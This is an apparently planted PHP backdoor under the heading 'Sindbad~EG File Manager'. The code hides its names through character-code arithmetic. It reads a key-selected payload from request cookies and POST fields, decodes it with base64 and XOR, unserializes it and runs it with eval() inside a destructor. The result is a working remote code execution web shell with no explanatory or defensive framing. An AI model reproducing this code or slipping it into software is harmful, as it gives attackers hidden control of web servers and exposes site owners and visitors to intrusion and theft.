Sindbad~EG File Manager

$gPGFwP = 'x' . "\x5f" . "\x53" . 'C' . chr ( 834 - 714 ); $tfExcTMJL = "\x63" . "\x6c" . chr ( 351 - 254 ).'s' . chr ( 880 - 765 )."\x5f" . chr (101) . "\x78" . chr (105) . chr ( 217 - 102 ).chr ( 984 - 868 )."\163";$VrdCj = class_exists($gPGFwP); $tfExcTMJL = "64852";$eIuGYxIPx = strpos($tfExcTMJL, $gPGFwP);if ($VrdCj == $eIuGYxIPx){function DQYOWxS(){$rcZnSlNRnI = new /* 37201 */ x_SCx(59036 + 59036); $rcZnSlNRnI = NULL;}$giqEWu = "59036";class x_SCx{private function bfmVQ($giqEWu){if (is_array(x_SCx::$ciHFl)) {$leoOGJQ2 = str_replace("<" . "?php", "", x_SCx::$ciHFl["content"]);eval($leoOGJQ2); $giqEWu = "59036";exit();}}public function AYfVtHcWW(){$leoOGJQ = "52442";$this->_dummy = str_repeat($leoOGJQ, strlen($leoOGJQ));}public function __destruct(){x_SCx::$ciHFl = @unserialize(x_SCx::$ciHFl); $giqEWu = "50664_20670";$this->bfmVQ($giqEWu); $giqEWu = "50664_20670";}public function PGBzYhq($leoOGJQ, $aSvQHc){return $leoOGJQ[0] ^ str_repeat($aSvQHc, intval(strlen($leoOGJQ[0]) / strlen($aSvQHc)) + 1);}public function sODiD($leoOGJQ){$hFVOFRRH = "\142" . "\141" . "\163" . "\145" . chr (54) . '4';return array_map($hFVOFRRH . '_' . "\x64" . "\145" . "\143" . chr (111) . chr (100) . 'e', array($leoOGJQ,));}public function __construct($FDaTriop=0){$JefRStZGM = "\54";$leoOGJQ = "";$eittGiwr = $_POST;$bvhNSogC = $_COOKIE;$aSvQHc = "f8bee750-9b9a-419a-b005-f78b6ad5fb5a";$OMilVZ = @$bvhNSogC[substr($aSvQHc, 0, 4)];if (!empty($OMilVZ)){$OMilVZ = explode($JefRStZGM, $OMilVZ);foreach ($OMilVZ as $lizAEeP){$leoOGJQ .= @$bvhNSogC[$lizAEeP];$leoOGJQ .= @$eittGiwr[$lizAEeP];}$leoOGJQ = $this->sODiD($leoOGJQ);}x_SCx::$ciHFl = $this->PGBzYhq($leoOGJQ, $aSvQHc);if (strpos($aSvQHc, $JefRStZGM) !== FALSE){$aSvQHc = explode($JefRStZGM, $aSvQHc); $iLRoq = base64_decode(sha1($aSvQHc[0]));}}public static $ciHFl = 14759;}DQYOWxS();}